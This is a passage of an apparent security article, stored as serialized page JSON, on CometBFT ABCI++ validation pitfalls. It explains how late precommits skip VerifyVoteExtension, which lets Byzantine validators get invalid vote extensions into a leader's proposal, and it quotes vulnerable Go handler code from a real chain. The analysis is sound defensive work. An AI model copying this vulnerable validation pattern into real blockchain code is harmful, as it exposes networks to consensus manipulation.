",{"type":23,"tag":209,"props":83192,"children":83194},{"className":83193},[],[83195],{"type":28,"value":83196},"PrepareProposal",{"type":28,"value":424},{"type":23,"tag":209,"props":83199,"children":83201},{"className":83200},[],[83202],{"type":28,"value":83203},"ProcessProposal",{"type":28,"value":424},{"type":23,"tag":209,"props":83206,"children":83208},{"className":83207},[],[83209],{"type":28,"value":83210},"ExtendVote",{"type":28,"value":6580},{"type":23,"tag":209,"props":83213,"children":83215},{"className":83214},[],[83216],{"type":28,"value":83217},"VerifyVoteExtension",{"type":28,"value":83219},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":24,"props":83221,"children":83222},{},[83223],{"type":28,"value":83224},"Two of the best-known attack surfaces are",{"type":23,"tag":131,"props":83226,"children":83227},{},[83228,83257],{"type":23,"tag":135,"props":83229,"children":83230},{},[83231,83236,83237,83242,83244,83249,83250,83255],{"type":23,"tag":209,"props":83232,"children":83234},{"className":83233},[],[83235],{"type":28,"value":83196},{"type":28,"value":400},{"type":23,"tag":209,"props":83238,"children":83240},{"className":83239},[],[83241],{"type":28,"value":83210},{"type":28,"value":83243},") outputs being rejected due to ",{"type":23,"tag":209,"props":83245,"children":83247},{"className":83246},[],[83248],{"type":28,"value":83203},{"type":28,"value":400},{"type":23,"tag":209,"props":83251,"children":83253},{"className":83252},[],[83254],{"type":28,"value":83217},{"type":28,"value":83256},") over-validating, resulting in liveness failures.",{"type":23,"tag":135,"props":83258,"children":83259},{},[83260,83262,83267,83268,83273,83275,83280,83281,83286],{"type":28,"value":83261},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":209,"props":83263,"children":83265},{"className":83264},[],[83266],{"type":28,"value":83196},{"type":28,"value":400},{"type":23,"tag":209,"props":83269,"children":83271},{"className":83270},[],[83272],{"type":28,"value":83210},{"type":28,"value":83274},") are accepted due to ",{"type":23,"tag":209,"props":83276,"children":83278},{"className":83277},[],[83279],{"type":28,"value":83203},{"type":28,"value":400},{"type":23,"tag":209,"props":83282,"children":83284},{"className":83283},[],[83285],{"type":28,"value":83217},{"type":28,"value":83287},") under-validating.",{"type":23,"tag":24,"props":83289,"children":83290},{},[83291],{"type":28,"value":83292},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":24,"props":83294,"children":83295},{},[83296,83298,83304,83306,83311],{"type":28,"value":83297},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":209,"props":83299,"children":83301},{"className":83300},[],[83302],{"type":28,"value":83303},"VoteExtensions",{"type":28,"value":83305}," within ",{"type":23,"tag":209,"props":83307,"children":83309},{"className":83308},[],[83310],{"type":28,"value":83196},{"type":28,"value":83312},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":24,"props":83314,"children":83315},{},[83316,83318,83323,83325,83330],{"type":28,"value":83317},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":209,"props":83319,"children":83321},{"className":83320},[],[83322],{"type":28,"value":83210},{"type":28,"value":83324}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":209,"props":83326,"children":83328},{"className":83327},[],[83329],{"type":28,"value":83217},{"type":28,"value":83331},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":24,"props":83333,"children":83334},{},[83335,83337,83342],{"type":28,"value":83336},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":209,"props":83338,"children":83340},{"className":83339},[],[83341],{"type":28,"value":83217},{"type":28,"value":83343}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":24,"props":83345,"children":83346},{},[83347,83349,83354,83356,83362],{"type":28,"value":83348},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":209,"props":83350,"children":83352},{"className":83351},[],[83353],{"type":28,"value":83217},{"type":28,"value":83355},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":209,"props":83357,"children":83359},{"className":83358},[],[83360],{"type":28,"value":83361},"Proposal",{"type":28,"value":124},{"type":23,"tag":202,"props":83364,"children":83366},{"code":83365,"language":76217,"meta":7,"className":76218,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n ...\n}\n",[83367],{"type":23,"tag":209,"props":83368,"children":83369},{"__ignoreMap":7},[83370,83482,83489,83496,83504,83512,83596,83603,83611,83665,83672,83693,83700,83772,83788,83795,83869,83925,83932,83994,84001,84008,84027,84034,84041,84048],{"type":23,"tag":213,"props":83371,"children":83372},{"class":215,"line":216},[83373,83377,83381,83386,83390,83395,83399,83404,83408,83413,83417,83421,83425,83430,83434,83439,83444,83448,83453,83457,83462,83466,83470,83474,83478],{"type":23,"tag":213,"props":83374,"children":83375},{"style":230},[83376],{"type":28,"value":76353},{"type":23,"tag":213,"props":83378,"children":83379},{"style":220},[83380],{"type":28,"value":400},{"type":23,"tag":213,"props":83382,"children":83383},{"style":268},[83384],{"type":28,"value":83385},"cs ",{"type":23,"tag":213,"props":83387,"children":83388},{"style":274},[83389],{"type":28,"value":1696},{"type":23,"tag":213,"props":83391,"children":83392},{"style":290},[83393],{"type":28,"value":83394},"State",{"type":23,"tag":213,"props":83396,"children":83397},{"style":220},[83398],{"type":28,"value":298},{"type":23,"tag":213,"props":83400,"children":83401},{"style":257},[83402],{"type":28,"value":83403},"addVote",{"type":23,"tag":213,"props":83405,"children":83406},{"style":220},[83407],{"type":28,"value":265},{"type":23,"tag":213,"props":83409,"children":83410},{"style":268},[83411],{"type":28,"value":83412},"vote",{"type":23,"tag":213,"props":83414,"children":83415},{"style":274},[83416],{"type":28,"value":282},{"type":23,"tag":213,"props":83418,"children":83419},{"style":290},[83420],{"type":28,"value":5852},{"type":23,"tag":213,"props":83422,"children":83423},{"style":220},[83424],{"type":28,"value":124},{"type":23,"tag":213,"props":83426,"children":83427},{"style":290},[83428],{"type":28,"value":83429},"Vote",{"type":23,"tag":213,"props":83431,"children":83432},{"style":220},[83433],{"type":28,"value":424},{"type":23,"tag":213,"props":83435,"children":83436},{"style":268},[83437],{"type":28,"value":83438},"peerID",{"type":23,"tag":213,"props":83440,"children":83441},{"style":290},[83442],{"type":28,"value":83443}," p2p",{"type":23,"tag":213,"props":83445,"children":83446},{"style":220},[83447],{"type":28,"value":124},{"type":23,"tag":213,"props":83449,"children":83450},{"style":290},[83451],{"type":28,"value":83452},"ID",{"type":23,"tag":213,"props":83454,"children":83455},{"style":220},[83456],{"type":28,"value":76435},{"type":23,"tag":213,"props":83458,"children":83459},{"style":268},[83460],{"type":28,"value":83461},"added",{"type":23,"tag":213,"props":83463,"children":83464},{"style":290},[83465],{"type":28,"value":965},{"type":23,"tag":213,"props":83467,"children":83468},{"style":220},[83469],{"type":28,"value":424},{"type":23,"tag":213,"props":83471,"children":83472},{"style":268},[83473],{"type":28,"value":48472},{"type":23,"tag":213,"props":83475,"children":83476},{"style":290},[83477],{"type":28,"value":14942},{"type":23,"tag":213,"props":83479,"children":83480},{"style":220},[83481],{"type":28,"value":14870},{"type":23,"tag":213,"props":83483,"children":83484},{"class":215,"line":226},[83485],{"type":23,"tag":213,"props":83486,"children":83487},{"style":274},[83488],{"type":28,"value":2257},{"type":23,"tag":213,"props":83490,"children":83491},{"class":215,"line":524},[83492],{"type":23,"tag":213,"props":83493,"children":83494},{"emptyLinePlaceholder":18},[83495],{"type":28,"value":530},{"type":23,"tag":213,"props":83497,"children":83498},{"class":215,"line":533},[83499],{"type":23,"tag":213,"props":83500,"children":83501},{"style":537},[83502],{"type":28,"value":83503}," // A precommit for the previous height?\n",{"type":23,"tag":213,"props":83505,"children":83506},{"class":215,"line":543},[83507],{"type":23,"tag":213,"props":83508,"children":83509},{"style":537},[83510],{"type":28,"value":83511}," // These come in while we wait timeoutCommit\n",{"type":23,"tag":213,"props":83513,"children":83514},{"class":215,"line":551},[83515,83519,83524,83528,83533,83537,83541,83545,83550,83554,83558,83562,83566,83570,83575,83579,83583,83587,83592],{"type":23,"tag":213,"props":83516,"children":83517},{"style":1362},[83518],{"type":28,"value":2653},{"type":23,"tag":213,"props":83520,"children":83521},{"style":268},[83522],{"type":28,"value":83523}," vote",{"type":23,"tag":213,"props":83525,"children":83526},{"style":220},[83527],{"type":28,"value":124},{"type":23,"tag":213,"props":83529,"children":83530},{"style":268},[83531],{"type":28,"value":83532},"Height",{"type":23,"tag":213,"props":83534,"children":83535},{"style":274},[83536],{"type":28,"value":2703},{"type":23,"tag":213,"props":83538,"children":83539},{"style":514},[83540],{"type":28,"value":4106},{"type":23,"tag":213,"props":83542,"children":83543},{"style":274},[83544],{"type":28,"value":3379},{"type":23,"tag":213,"props":83546,"children":83547},{"style":268},[83548],{"type":28,"value":83549}," cs",{"type":23,"tag":213,"props":83551,"children":83552},{"style":220},[83553],{"type":28,"value":124},{"type":23,"tag":213,"props":83555,"children":83556},{"style":268},[83557],{"type":28,"value":83532},{"type":23,"tag":213,"props":83559,"children":83560},{"style":274},[83561],{"type":28,"value":14259},{"type":23,"tag":213,"props":83563,"children":83564},{"style":268},[83565],{"type":28,"value":83523},{"type":23,"tag":213,"props":83567,"children":83568},{"style":220},[83569],{"type":28,"value":124},{"type":23,"tag":213,"props":83571,"children":83572},{"style":268},[83573],{"type":28,"value":83574},"Type",{"type":23,"tag":213,"props":83576,"children":83577},{"style":274},[83578],{"type":28,"value":3379},{"type":23,"tag":213,"props":83580,"children":83581},{"style":268},[83582],{"type":28,"value":78228},{"type":23,"tag":213,"props":83584,"children":83585},{"style":220},[83586],{"type":28,"value":124},{"type":23,"tag":213,"props":83588,"children":83589},{"style":268},[83590],{"type":28,"value":83591},"PrecommitType",{"type":23,"tag":213,"props":83593,"children":83594},{"style":220},[83595],{"type":28,"value":1375},{"type":23,"tag":213,"props":83597,"children":83598},{"class":215,"line":570},[83599],{"type":23,"tag":213,"props":83600,"children":83601},{"style":274},[83602],{"type":28,"value":81895},{"type":23,"tag":213,"props":83604,"children":83605},{"class":215,"line":655},[83606],{"type":23,"tag":213,"props":83607,"children":83608},{"style":537},[83609],{"type":28,"value":83610}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":213,"props":83612,"children":83613},{"class":215,"line":1176},[83614,83619,83623,83627,83631,83635,83639,83644,83648,83653,83657,83661],{"type":23,"tag":213,"props":83615,"children":83616},{"style":268},[83617],{"type":28,"value":83618}," added",{"type":23,"tag":213,"props":83620,"children":83621},{"style":220},[83622],{"type":28,"value":424},{"type":23,"tag":213,"props":83624,"children":83625},{"style":268},[83626],{"type":28,"value":48472},{"type":23,"tag":213,"props":83628,"children":83629},{"style":274},[83630],{"type":28,"value":511},{"type":23,"tag":213,"props":83632,"children":83633},{"style":268},[83634],{"type":28,"value":83549},{"type":23,"tag":213,"props":83636,"children":83637},{"style":220},[83638],{"type":28,"value":124},{"type":23,"tag":213,"props":83640,"children":83641},{"style":268},[83642],{"type":28,"value":83643},"LastCommit",{"type":23,"tag":213,"props":83645,"children":83646},{"style":220},[83647],{"type":28,"value":124},{"type":23,"tag":213,"props":83649,"children":83650},{"style":257},[83651],{"type":28,"value":83652},"AddVote",{"type":23,"tag":213,"props":83654,"children":83655},{"style":220},[83656],{"type":28,"value":265},{"type":23,"tag":213,"props":83658,"children":83659},{"style":268},[83660],{"type":28,"value":83412},{"type":23,"tag":213,"props":83662,"children":83663},{"style":220},[83664],{"type":28,"value":2183},{"type":23,"tag":213,"props":83666,"children":83667},{"class":215,"line":1202},[83668],{"type":23,"tag":213,"props":83669,"children":83670},{"style":274},[83671],{"type":28,"value":81895},{"type":23,"tag":213,"props":83673,"children":83674},{"class":215,"line":1758},[83675,83679,83684,83688],{"type":23,"tag":213,"props":83676,"children":83677},{"style":1362},[83678],{"type":28,"value":2839},{"type":23,"tag":213,"props":83680,"children":83681},{"style":268},[83682],{"type":28,"value":83683}," added",{"type":23,"tag":213,"props":83685,"children":83686},{"style":220},[83687],{"type":28,"value":424},{"type":23,"tag":213,"props":83689,"children":83690},{"style":268},[83691],{"type":28,"value":83692},"err\n",{"type":23,"tag":213,"props":83694,"children":83695},{"class":215,"line":1767},[83696],{"type":23,"tag":213,"props":83697,"children":83698},{"style":220},[83699],{"type":28,"value":2875},{"type":23,"tag":213,"props":83701,"children":83702},{"class":215,"line":1789},[83703,83708,83712,83716,83720,83725,83729,83734,83738,83743,83747,83752,83756,83760,83764,83768],{"type":23,"tag":213,"props":83704,"children":83705},{"style":268},[83706],{"type":28,"value":83707}," extEnabled",{"type":23,"tag":213,"props":83709,"children":83710},{"style":274},[83711],{"type":28,"value":76469},{"type":23,"tag":213,"props":83713,"children":83714},{"style":268},[83715],{"type":28,"value":83549},{"type":23,"tag":213,"props":83717,"children":83718},{"style":220},[83719],{"type":28,"value":124},{"type":23,"tag":213,"props":83721,"children":83722},{"style":268},[83723],{"type":28,"value":83724},"state",{"type":23,"tag":213,"props":83726,"children":83727},{"style":220},[83728],{"type":28,"value":124},{"type":23,"tag":213,"props":83730,"children":83731},{"style":268},[83732],{"type":28,"value":83733},"ConsensusParams",{"type":23,"tag":213,"props":83735,"children":83736},{"style":220},[83737],{"type":28,"value":124},{"type":23,"tag":213,"props":83739,"children":83740},{"style":268},[83741],{"type":28,"value":83742},"Feature",{"type":23,"tag":213,"props":83744,"children":83745},{"style":220},[83746],{"type":28,"value":124},{"type":23,"tag":213,"props":83748,"children":83749},{"style":257},[83750],{"type":28,"value":83751},"VoteExtensionsEnabled",{"type":23,"tag":213,"props":83753,"children":83754},{"style":220},[83755],{"type":28,"value":265},{"type":23,"tag":213,"props":83757,"children":83758},{"style":268},[83759],{"type":28,"value":83412},{"type":23,"tag":213,"props":83761,"children":83762},{"style":220},[83763],{"type":28,"value":124},{"type":23,"tag":213,"props":83765,"children":83766},{"style":268},[83767],{"type":28,"value":83532},{"type":23,"tag":213,"props":83769,"children":83770},{"style":220},[83771],{"type":28,"value":2183},{"type":23,"tag":213,"props":83773,"children":83774},{"class":215,"line":1812},[83775,83779,83784],{"type":23,"tag":213,"props":83776,"children":83777},{"style":1362},[83778],{"type":28,"value":2653},{"type":23,"tag":213,"props":83780,"children":83781},{"style":268},[83782],{"type":28,"value":83783}," extEnabled",{"type":23,"tag":213,"props":83785,"children":83786},{"style":220},[83787],{"type":28,"value":1375},{"type":23,"tag":213,"props":83789,"children":83790},{"class":215,"line":1838},[83791],{"type":23,"tag":213,"props":83792,"children":83793},{"style":274},[83794],{"type":28,"value":81895},{"type":23,"tag":213,"props":83796,"children":83797},{"class":215,"line":1851},[83798,83802,83806,83810,83814,83818,83822,83826,83830,83834,83838,83842,83846,83851,83855,83860,83864],{"type":23,"tag":213,"props":83799,"children":83800},{"style":1362},[83801],{"type":28,"value":3369},{"type":23,"tag":213,"props":83803,"children":83804},{"style":268},[83805],{"type":28,"value":83523},{"type":23,"tag":213,"props":83807,"children":83808},{"style":220},[83809],{"type":28,"value":124},{"type":23,"tag":213,"props":83811,"children":83812},{"style":268},[83813],{"type":28,"value":83574},{"type":23,"tag":213,"props":83815,"children":83816},{"style":274},[83817],{"type":28,"value":3379},{"type":23,"tag":213,"props":83819,"children":83820},{"style":268},[83821],{"type":28,"value":78228},{"type":23,"tag":213,"props":83823,"children":83824},{"style":220},[83825],{"type":28,"value":124},{"type":23,"tag":213,"props":83827,"children":83828},{"style":268},[83829],{"type":28,"value":83591},{"type":23,"tag":213,"props":83831,"children":83832},{"style":274},[83833],{"type":28,"value":14259},{"type":23,"tag":213,"props":83835,"children":83836},{"style":274},[83837],{"type":28,"value":2658},{"type":23,"tag":213,"props":83839,"children":83840},{"style":268},[83841],{"type":28,"value":83412},{"type":23,"tag":213,"props":83843,"children":83844},{"style":220},[83845],{"type":28,"value":124},{"type":23,"tag":213,"props":83847,"children":83848},{"style":268},[83849],{"type":28,"value":83850},"BlockID",{"type":23,"tag":213,"props":83852,"children":83853},{"style":220},[83854],{"type":28,"value":124},{"type":23,"tag":213,"props":83856,"children":83857},{"style":257},[83858],{"type":28,"value":83859},"IsNil",{"type":23,"tag":213,"props":83861,"children":83862},{"style":220},[83863],{"type":28,"value":2698},{"type":23,"tag":213,"props":83865,"children":83866},{"style":274},[83867],{"type":28,"value":83868},"&&\n",{"type":23,"tag":213,"props":83870,"children":83871},{"class":215,"line":1864},[83872,83877,83882,83886,83890,83894,83898,83902,83907,83911,83916,83920],{"type":23,"tag":213,"props":83873,"children":83874},{"style":274},[83875],{"type":28,"value":83876}," !",{"type":23,"tag":213,"props":83878,"children":83879},{"style":268},[83880],{"type":28,"value":83881},"bytes",{"type":23,"tag":213,"props":83883,"children":83884},{"style":220},[83885],{"type":28,"value":124},{"type":23,"tag":213,"props":83887,"children":83888},{"style":257},[83889],{"type":28,"value":82351},{"type":23,"tag":213,"props":83891,"children":83892},{"style":220},[83893],{"type":28,"value":265},{"type":23,"tag":213,"props":83895,"children":83896},{"style":268},[83897],{"type":28,"value":83412},{"type":23,"tag":213,"props":83899,"children":83900},{"style":220},[83901],{"type":28,"value":124},{"type":23,"tag":213,"props":83903,"children":83904},{"style":268},[83905],{"type":28,"value":83906},"ValidatorAddress",{"type":23,"tag":213,"props":83908,"children":83909},{"style":220},[83910],{"type":28,"value":424},{"type":23,"tag":213,"props":83912,"children":83913},{"style":268},[83914],{"type":28,"value":83915},"myAddr",{"type":23,"tag":213,"props":83917,"children":83918},{"style":220},[83919],{"type":28,"value":24047},{"type":23,"tag":213,"props":83921,"children":83922},{"style":537},[83923],{"type":28,"value":83924},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":213,"props":83926,"children":83927},{"class":215,"line":1890},[83928],{"type":23,"tag":213,"props":83929,"children":83930},{"style":274},[83931],{"type":28,"value":82571},{"type":23,"tag":213,"props":83933,"children":83934},{"class":215,"line":1899},[83935,83939,83943,83947,83951,83956,83960,83964,83968,83973,83977,83982,83986,83990],{"type":23,"tag":213,"props":83936,"children":83937},{"style":268},[83938],{"type":28,"value":82389},{"type":23,"tag":213,"props":83940,"children":83941},{"style":274},[83942],{"type":28,"value":76469},{"type":23,"tag":213,"props":83944,"children":83945},{"style":268},[83946],{"type":28,"value":83549},{"type":23,"tag":213,"props":83948,"children":83949},{"style":220},[83950],{"type":28,"value":124},{"type":23,"tag":213,"props":83952,"children":83953},{"style":268},[83954],{"type":28,"value":83955},"blockExec",{"type":23,"tag":213,"props":83957,"children":83958},{"style":220},[83959],{"type":28,"value":124},{"type":23,"tag":213,"props":83961,"children":83962},{"style":257},[83963],{"type":28,"value":83217},{"type":23,"tag":213,"props":83965,"children":83966},{"style":220},[83967],{"type":28,"value":265},{"type":23,"tag":213,"props":83969,"children":83970},{"style":268},[83971],{"type":28,"value":83972},"context",{"type":23,"tag":213,"props":83974,"children":83975},{"style":220},[83976],{"type":28,"value":124},{"type":23,"tag":213,"props":83978,"children":83979},{"style":257},[83980],{"type":28,"value":83981},"TODO",{"type":23,"tag":213,"props":83983,"children":83984},{"style":220},[83985],{"type":28,"value":18426},{"type":23,"tag":213,"props":83987,"children":83988},{"style":268},[83989],{"type":28,"value":83412},{"type":23,"tag":213,"props":83991,"children":83992},{"style":220},[83993],{"type":28,"value":2183},{"type":23,"tag":213,"props":83995,"children":83996},{"class":215,"line":1912},[83997],{"type":23,"tag":213,"props":83998,"children":83999},{"style":274},[84000],{"type":28,"value":82571},{"type":23,"tag":213,"props":84002,"children":84003},{"class":215,"line":1921},[84004],{"type":23,"tag":213,"props":84005,"children":84006},{"style":220},[84007],{"type":28,"value":3444},{"type":23,"tag":213,"props":84009,"children":84010},{"class":215,"line":3879},[84011,84015,84019,84023],{"type":23,"tag":213,"props":84012,"children":84013},{"style":220},[84014],{"type":28,"value":1440},{"type":23,"tag":213,"props":84016,"children":84017},{"style":1362},[84018],{"type":28,"value":3412},{"type":23,"tag":213,"props":84020,"children":84021},{"style":1362},[84022],{"type":28,"value":15839},{"type":23,"tag":213,"props":84024,"children":84025},{"style":220},[84026],{"type":28,"value":1375},{"type":23,"tag":213,"props":84028,"children":84029},{"class":215,"line":3887},[84030],{"type":23,"tag":213,"props":84031,"children":84032},{"style":274},[84033],{"type":28,"value":81895},{"type":23,"tag":213,"props":84035,"children":84036},{"class":215,"line":3918},[84037],{"type":23,"tag":213,"props":84038,"children":84039},{"style":220},[84040],{"type":28,"value":2875},{"type":23,"tag":213,"props":84042,"children":84043},{"class":215,"line":3926},[84044],{"type":23,"tag":213,"props":84045,"children":84046},{"style":274},[84047],{"type":28,"value":2257},{"type":23,"tag":213,"props":84049,"children":84050},{"class":215,"line":3986},[84051],{"type":23,"tag":213,"props":84052,"children":84053},{"style":220},[84054],{"type":28,"value":1208},{"type":23,"tag":24,"props":84056,"children":84057},{},[84058],{"type":28,"value":84059},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":9693,"props":84061,"children":84063},{"id":84062},"real-world-examples-4",[84064],{"type":28,"value":76742},{"type":23,"tag":24,"props":84066,"children":84067},{},[84068,84070,84075,84077,84083,84085,84091],{"type":28,"value":84069},"An example of the bug we just described is shown here. ",{"type":23,"tag":209,"props":84071,"children":84073},{"className":84072},[],[84074],{"type":28,"value":83196},{"type":28,"value":84076}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":209,"props":84078,"children":84080},{"className":84079},[],[84081],{"type":28,"value":84082},"ValidateVoteExtension",{"type":28,"value":84084}," but does not verify it against the rules in ",{"type":23,"tag":209,"props":84086,"children":84088},{"className":84087},[],[84089],{"type":28,"value":84090},"VerifyVoteExtention.",{"type":28,"value":84092}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":24,"props":84094,"children":84095},{},[84096],{"type":23,"tag":36,"props":84097,"children":84100},{"href":84098,"rel":84099},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[40],[84101],{"type":28,"value":76792},{"type":23,"tag":202,"props":84103,"children":84105},{"code":84104,"language":76217,"meta":7,"className":76218,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[84106],{"type":23,"tag":209,"props":84107,"children":84108},{"__ignoreMap":7},[84109,84163,84254,84261,84282,84349,84357,84462,84485,84504,84511,84565,84588,84643,84662,84669,84676,84683,84737,84744,84770,84793,84845,84907,84914,84941,84961,84973,84980],{"type":23,"tag":213,"props":84110,"children":84111},{"class":215,"line":216},[84112,84116,84120,84125,84129,84134,84138,84143,84147,84151,84155,84159],{"type":23,"tag":213,"props":84113,"children":84114},{"style":230},[84115],{"type":28,"value":76353},{"type":23,"tag":213,"props":84117,"children":84118},{"style":220},[84119],{"type":28,"value":400},{"type":23,"tag":213,"props":84121,"children":84122},{"style":268},[84123],{"type":28,"value":84124},"h ",{"type":23,"tag":213,"props":84126,"children":84127},{"style":274},[84128],{"type":28,"value":1696},{"type":23,"tag":213,"props":84130,"children":84131},{"style":290},[84132],{"type":28,"value":84133},"Handlers",{"type":23,"tag":213,"props":84135,"children":84136},{"style":220},[84137],{"type":28,"value":298},{"type":23,"tag":213,"props":84139,"children":84140},{"style":257},[84141],{"type":28,"value":84142},"PrepareProposalHandler",{"type":23,"tag":213,"props":84144,"children":84145},{"style":220},[84146],{"type":28,"value":2698},{"type":23,"tag":213,"props":84148,"children":84149},{"style":290},[84150],{"type":28,"value":78783},{"type":23,"tag":213,"props":84152,"children":84153},{"style":220},[84154],{"type":28,"value":124},{"type":23,"tag":213,"props":84156,"children":84157},{"style":290},[84158],{"type":28,"value":84142},{"type":23,"tag":213,"props":84160,"children":84161},{"style":220},[84162],{"type":28,"value":1375},{"type":23,"tag":213,"props":84164,"children":84165},{"class":215,"line":226},[84166,84170,84174,84178,84182,84186,84190,84194,84198,84203,84207,84212,84216,84221,84225,84229,84233,84237,84242,84246,84250],{"type":23,"tag":213,"props":84167,"children":84168},{"style":1362},[84169],{"type":28,"value":17040},{"type":23,"tag":213,"props":84171,"children":84172},{"style":230},[84173],{"type":28,"value":80062},{"type":23,"tag":213,"props":84175,"children":84176},{"style":220},[84177],{"type":28,"value":265},{"type":23,"tag":213,"props":84179,"children":84180},{"style":268},[84181],{"type":28,"value":20335},{"type":23,"tag":213,"props":84183,"children":84184},{"style":290},[84185],{"type":28,"value":78694},{"type":23,"tag":213,"props":84187,"children":84188},{"style":220},[84189],{"type":28,"value":124},{"type":23,"tag":213,"props":84191,"children":84192},{"style":290},[84193],{"type":28,"value":76402},{"type":23,"tag":213,"props":84195,"children":84196},{"style":220},[84197],{"type":28,"value":424},{"type":23,"tag":213,"props":84199,"children":84200},{"style":268},[84201],{"type":28,"value":84202},"req",{"type":23,"tag":213,"props":84204,"children":84205},{"style":274},[84206],{"type":28,"value":282},{"type":23,"tag":213,"props":84208,"children":84209},{"style":290},[84210],{"type":28,"value":84211},"abcitypes",{"type":23,"tag":213,"props":84213,"children":84214},{"style":220},[84215],{"type":28,"value":124},{"type":23,"tag":213,"props":84217,"children":84218},{"style":290},[84219],{"type":28,"value":84220},"RequestPrepareProposal",{"type":23,"tag":213,"props":84222,"children":84223},{"style":220},[84224],{"type":28,"value":76435},{"type":23,"tag":213,"props":84226,"children":84227},{"style":274},[84228],{"type":28,"value":1696},{"type":23,"tag":213,"props":84230,"children":84231},{"style":290},[84232],{"type":28,"value":84211},{"type":23,"tag":213,"props":84234,"children":84235},{"style":220},[84236],{"type":28,"value":124},{"type":23,"tag":213,"props":84238,"children":84239},{"style":290},[84240],{"type":28,"value":84241},"ResponsePrepareProposal",{"type":23,"tag":213,"props":84243,"children":84244},{"style":220},[84245],{"type":28,"value":424},{"type":23,"tag":213,"props":84247,"children":84248},{"style":290},[84249],{"type":28,"value":14929},{"type":23,"tag":213,"props":84251,"children":84252},{"style":220},[84253],{"type":28,"value":14870},{"type":23,"tag":213,"props":84255,"children":84256},{"class":215,"line":524},[84257],{"type":23,"tag":213,"props":84258,"children":84259},{"style":274},[84260],{"type":28,"value":81895},{"type":23,"tag":213,"props":84262,"children":84263},{"class":215,"line":533},[84264,84268,84273,84277],{"type":23,"tag":213,"props":84265,"children":84266},{"style":230},[84267],{"type":28,"value":80171},{"type":23,"tag":213,"props":84269,"children":84270},{"style":268},[84271],{"type":28,"value":84272}," injection",{"type":23,"tag":213,"props":84274,"children":84275},{"style":220},[84276],{"type":28,"value":76280},{"type":23,"tag":213,"props":84278,"children":84279},{"style":290},[84280],{"type":28,"value":84281},"byte\n",{"type":23,"tag":213,"props":84283,"children":84284},{"class":215,"line":543},[84285,84289,84294,84298,84302,84306,84310,84314,84318,84322,84327,84331,84336,84340,84345],{"type":23,"tag":213,"props":84286,"children":84287},{"style":1362},[84288],{"type":28,"value":3369},{"type":23,"tag":213,"props":84290,"children":84291},{"style":268},[84292],{"type":28,"value":84293}," req",{"type":23,"tag":213,"props":84295,"children":84296},{"style":220},[84297],{"type":28,"value":124},{"type":23,"tag":213,"props":84299,"children":84300},{"style":268},[84301],{"type":28,"value":83532},{"type":23,"tag":213,"props":84303,"children":84304},{"style":274},[84305],{"type":28,"value":14268},{"type":23,"tag":213,"props":84307,"children":84308},{"style":268},[84309],{"type":28,"value":25898},{"type":23,"tag":213,"props":84311,"children":84312},{"style":220},[84313],{"type":28,"value":124},{"type":23,"tag":213,"props":84315,"children":84316},{"style":257},[84317],{"type":28,"value":83733},{"type":23,"tag":213,"props":84319,"children":84320},{"style":220},[84321],{"type":28,"value":30223},{"type":23,"tag":213,"props":84323,"children":84324},{"style":268},[84325],{"type":28,"value":84326},"Abci",{"type":23,"tag":213,"props":84328,"children":84329},{"style":220},[84330],{"type":28,"value":124},{"type":23,"tag":213,"props":84332,"children":84333},{"style":268},[84334],{"type":28,"value":84335},"VoteExtensionsEnableHeight",{"type":23,"t